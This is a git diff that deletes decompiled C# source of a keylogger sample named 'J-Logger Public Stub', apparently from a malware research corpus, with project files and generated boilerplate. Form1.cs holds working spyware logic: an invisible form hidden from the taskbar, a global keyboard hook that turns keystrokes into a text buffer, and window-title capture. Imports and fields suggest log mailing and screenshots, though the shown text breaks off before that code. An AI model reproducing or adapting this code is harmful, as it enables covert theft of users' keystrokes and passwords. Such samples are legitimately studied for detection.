C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace J_Logger_Public_Stub.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/MyProject.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/MyProject.cs deleted file mode 100644 index b3b9099f..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/MyProject.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: J_Logger_Public_Stub.My.MyProject -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A1FB8C7A-C4EB-4CE2-93CC-E7DB21982219 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace J_Logger_Public_Stub.My -{ - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - [DebuggerNonUserCode] get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/MySettings.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/MySettings.cs deleted file mode 100644 index 682e6ae3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/MySettings.cs +++ /dev/null @@ -1,73 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: J_Logger_Public_Stub.My.MySettings -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A1FB8C7A-C4EB-4CE2-93CC-E7DB21982219 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace J_Logger_Public_Stub.My -{ - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerNonUserCode] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - return MySettings.defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/MySettingsProperty.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/MySettingsProperty.cs deleted file mode 100644 index d6c9e866..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/MySettingsProperty.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: J_Logger_Public_Stub.My.MySettingsProperty -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A1FB8C7A-C4EB-4CE2-93CC-E7DB21982219 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace J_Logger_Public_Stub.My -{ - [HideModuleName] - [CompilerGenerated] - [DebuggerNonUserCode] - [StandardModule] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/Resources/Resources.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/Resources/Resources.cs deleted file mode 100644 index 90038e94..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: J_Logger_Public_Stub.My.Resources.Resources -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A1FB8C7A-C4EB-4CE2-93CC-E7DB21982219 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace J_Logger_Public_Stub.My.Resources -{ - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [StandardModule] - [HideModuleName] - [CompilerGenerated] - [DebuggerNonUserCode] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) J_Logger_Public_Stub.My.Resources.Resources.resourceMan, (object) null)) - J_Logger_Public_Stub.My.Resources.Resources.resourceMan = new ResourceManager("J_Logger_Public_Stub.Resources", typeof (J_Logger_Public_Stub.My.Resources.Resources).Assembly); - return J_Logger_Public_Stub.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => J_Logger_Public_Stub.My.Resources.Resources.resourceCulture; - set => J_Logger_Public_Stub.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Resources.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Trojan-Spy.MSIL.KeyLogger.jfp.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Trojan-Spy.MSIL.KeyLogger.jfp.csproj deleted file mode 100644 index ba31bb7e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Trojan-Spy.MSIL.KeyLogger.jfp.csproj +++ /dev/null @@ -1,54 +0,0 @@ - - - - - Debug - AnyCPU - {51ED5B66-4D0C-4961-B9FA-F9FABF537975} - WinExe - Stub - 1.0.0.0 - J_Logger_Public_Stub - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Trojan-Spy.MSIL.KeyLogger.jfp.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Trojan-Spy.MSIL.KeyLogger.jfp.sln deleted file mode 100644 index 08e20cc2..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Trojan-Spy.MSIL.KeyLogger.jfp.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Stub", "Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772.csproj", "{51ED5B66-4D0C-4961-B9FA-F9FABF537975}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {51ED5B66-4D0C-4961-B9FA-F9FABF537975}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {51ED5B66-4D0C-4961-B9FA-F9FABF537975}.Debug|Any CPU.Build.0 = Debug|Any CPU - {51ED5B66-4D0C-4961-B9FA-F9FABF537975}.Release|Any CPU.ActiveCfg = Release|Any CPU - {51ED5B66-4D0C-4961-B9FA-F9FABF537975}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/AssemblyInfo.cs deleted file mode 100644 index 3c236350..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyDescription("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("J-Logger Public Stub")] -[assembly: AssemblyCopyright("Copyright © 2009")] -[assembly: AssemblyTitle("J-Logger Public Stub")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyTrademark("")] -[assembly: Guid("2a575f60-e7d2-4261-a984-8ba6808cbfa0")] -[assembly: ComVisible(false)] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Form1.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Form1.cs deleted file mode 100644 index 5862c4fc..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Form1.cs +++ /dev/null @@ -1,2109 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: J_Logger_Public_Stub.Form1 -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A1FB8C7A-C4EB-4CE2-93CC-E7DB21982219 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417.exe - -using J_Logger_Public_Stub.My; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.VisualBasic.FileIO; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace J_Logger_Public_Stub -{ - [DesignerGenerated] - public class Form1 : Form - { - private IContainer components; - [AccessedThroughProperty("Label1")] - private Label _Label1; - [AccessedThroughProperty("Timer1")] - private System.Windows.Forms.Timer _Timer1; - [AccessedThroughProperty("Timer2")] - private System.Windows.Forms.Timer _Timer2; - [AccessedThroughProperty("Timer3")] - private System.Windows.Forms.Timer _Timer3; - private string[] options; - private string text1; - private string text2; - private string text3; - private string text4; - private string text5; - private string text6; - private string text7; - private string text8; - private string text9; - private string text10; - private const string FileSplit = "@jojogizmojake@"; - private string us; - private string pa; - private string t0; - private string pr0ccess; - private string up; - private string screen; - private string ncrypt; - private string sendl; - private string sends; - private string jojo; - private string TEMP; - [AccessedThroughProperty("kbHook")] - private Form1.KeyboardHook _kbHook; - private string strin; - - public Form1() - { - this.Load += new EventHandler(this.Form1_Load); - this.TEMP = Path.GetTempPath(); - this.kbHook = new Form1.KeyboardHook(); - this.strin = (string) null; - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - this.Label1 = new Label(); - this.Timer1 = new System.Windows.Forms.Timer(this.components); - this.Timer2 = new System.Windows.Forms.Timer(this.components); - this.Timer3 = new System.Windows.Forms.Timer(this.components); - this.SuspendLayout(); - this.Label1.AutoSize = true; - this.Label1.Location = new Point(4, 7); - this.Label1.Name = "Label1"; - Label label1 = this.Label1; - Size size1 = new Size(11, 13); - Size size2 = size1; - label1.Size = size2; - this.Label1.TabIndex = 0; - this.Label1.Text = "''"; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - size1 = new Size(10, 13); - this.ClientSize = size1; - this.Controls.Add((Control) this.Label1); - this.FormBorderStyle = FormBorderStyle.None; - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (Form1); - this.Opacity = 0.0; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.ResumeLayout(false); - this.PerformLayout(); - } - - internal virtual Label Label1 - { - [DebuggerNonUserCode] get => this._Label1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value; - } - - internal virtual System.Windows.Forms.Timer Timer1 - { - [DebuggerNonUserCode] get => this._Timer1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer1_Tick); - if (this._Timer1 != null) - this._Timer1.Tick -= eventHandler; - this._Timer1 = value; - if (this._Timer1 == null) - return; - this._Timer1.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer2 - { - [DebuggerNonUserCode] get => this._Timer2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer2_Tick); - if (this._Timer2 != null) - this._Timer2.Tick -= eventHandler; - this._Timer2 = value; - if (this._Timer2 == null) - return; - this._Timer2.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer3 - { - [DebuggerNonUserCode] get => this._Timer3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer3_Tick); - if (this._Timer3 != null) - this._Timer3.Tick -= eventHandler; - this._Timer3 = value; - if (this._Timer3 == null) - return; - this._Timer3.Tick += eventHandler; - } - } - - private virtual Form1.KeyboardHook kbHook - { - [DebuggerNonUserCode] get => this._kbHook; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - Form1.KeyboardHook.KeyDownEventHandler downEventHandler = new Form1.KeyboardHook.KeyDownEventHandler(this.shiftandcaps); - if (this._kbHook != null) - Form1.KeyboardHook.KeyDown -= downEventHandler; - this._kbHook = value; - if (this._kbHook == null) - return; - Form1.KeyboardHook.KeyDown += downEventHandler; - } - } - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - public void shiftandcaps(Keys Key) - { - if (!MyProject.Computer.Keyboard.ShiftKeyDown & !MyProject.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.jojo += "[DEL]"; - break; - case Keys.Tab: - this.jojo += "[TAB]"; - break; - case Keys.Return: - this.jojo += "\r\n"; - break; - case Keys.Escape: - this.jojo += "[ESC]"; - break; - case Keys.Space: - this.jojo += " "; - break; - case Keys.End: - this.jojo += "[END]"; - break; - case Keys.Left: - this.jojo += "?"; - break; - case Keys.Up: - this.jojo += "?"; - break; - case Keys.Right: - this.jojo += "?"; - break; - case Keys.Down: - this.jojo += "?"; - break; - case Keys.Delete: - this.jojo += "[DEL]"; - break; - case Keys.D0: - this.jojo += "0"; - break; - case Keys.D1: - this.jojo += "1"; - break; - case Keys.D2: - this.jojo += "2"; - break; - case Keys.D3: - this.jojo += "3"; - break; - case Keys.D4: - this.jojo += "4"; - break; - case Keys.D5: - this.jojo += "5"; - break; - case Keys.D6: - this.jojo += "6"; - break; - case Keys.D7: - this.jojo += "7"; - break; - case Keys.D8: - this.jojo += "8"; - break; - case Keys.D9: - this.jojo += "9"; - break; - case Keys.A: - this.jojo += "a"; - break; - case Keys.B: - this.jojo += "b"; - break; - case Keys.C: - this.jojo += "c"; - break; - case Keys.D: - this.jojo += "d"; - break; - case Keys.E: - this.jojo += "e"; - break; - case Keys.F: - this.jojo += "f"; - break; - case Keys.G: - this.jojo += "g"; - break; - case Keys.H: - this.jojo += "h"; - break; - case Keys.I: - this.jojo += "i"; - break; - case Keys.J: - this.jojo += "j"; - break; - case Keys.K: - this.jojo += "k"; - break; - case Keys.L: - this.jojo += "l"; - break; - case Keys.M: - this.jojo += "m"; - break; - case Keys.N: - this.jojo += "n"; - break; - case Keys.O: - this.jojo += "o"; - break; - case Keys.P: - this.jojo += "p"; - break; - case Keys.Q: - this.jojo += "q"; - break; - case Keys.R: - this.jojo += "r"; - break; - case Keys.S: - this.jojo += "s"; - break; - case Keys.T: - this.jojo += "t"; - break; - case Keys.U: - this.jojo += "u"; - break; - case Keys.V: - this.jojo += "v"; - break; - case Keys.W: - this.jojo += "w"; - break; - case Keys.X: - this.jojo += "x"; - break; - case Keys.Y: - this.jojo += "y"; - break; - case Keys.Z: - this.jojo += "z"; - break; - case Keys.NumPad0: - this.jojo += "0"; - break; - case Keys.NumPad1: - this.jojo += "1"; - break; - case Keys.NumPad2: - this.jojo += "2"; - break; - case Keys.NumPad3: - this.jojo += "3"; - break; - case Keys.NumPad4: - this.jojo += "4"; - break; - case Keys.NumPad5: - this.jojo += "5"; - break; - case Keys.NumPad6: - this.jojo += "6"; - break; - case Keys.NumPad7: - this.jojo += "7"; - break; - case Keys.NumPad8: - this.jojo += "8"; - break; - case Keys.NumPad9: - this.jojo += "9"; - break; - case Keys.Multiply: - this.jojo += "*"; - break; - case Keys.Add: - this.jojo += "+"; - break; - case Keys.Subtract: - this.jojo += "-"; - break; - case Keys.Decimal: - this.jojo += "."; - break; - case Keys.Divide: - this.jojo += "/"; - break; - case Keys.F1: - this.jojo += "[F1]"; - break; - case Keys.F2: - this.jojo += "[F2]"; - break; - case Keys.F3: - this.jojo += "[F3]"; - break; - case Keys.F4: - this.jojo += "[F4]"; - break; - case Keys.F5: - this.jojo += "[F5]"; - break; - case Keys.F6: - this.jojo += "[F6]"; - break; - case Keys.F7: - this.jojo += "[F7]"; - break; - case Keys.F8: - this.jojo += "[F8]"; - break; - case Keys.F9: - this.jojo += "[F9]"; - break; - case Keys.F10: - this.jojo += "[F10]"; - break; - case Keys.F11: - this.jojo += "[F11]"; - break; - case Keys.F12: - this.jojo += "[F12]"; - break; - case Keys.OemSemicolon: - this.jojo += ";"; - break; - case Keys.Oemcomma: - this.jojo += ","; - break; - case Keys.OemMinus: - this.jojo += "-"; - break; - case Keys.OemPeriod: - this.jojo += "."; - break; - case Keys.OemQuestion: - this.jojo += "/"; - break; - case Keys.Oemtilde: - this.jojo += "`"; - break; - case Keys.OemOpenBrackets: - this.jojo += "["; - break; - case Keys.OemPipe: - this.jojo += "\\"; - break; - case Keys.OemCloseBrackets: - this.jojo += "]"; - break; - case Keys.OemQuotes: - this.jojo += "'"; - break; - } - } - else if (!MyProject.Computer.Keyboard.ShiftKeyDown & MyProject.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.jojo += "[DEL]"; - break; - case Keys.Tab: - this.jojo += "[TAB]"; - 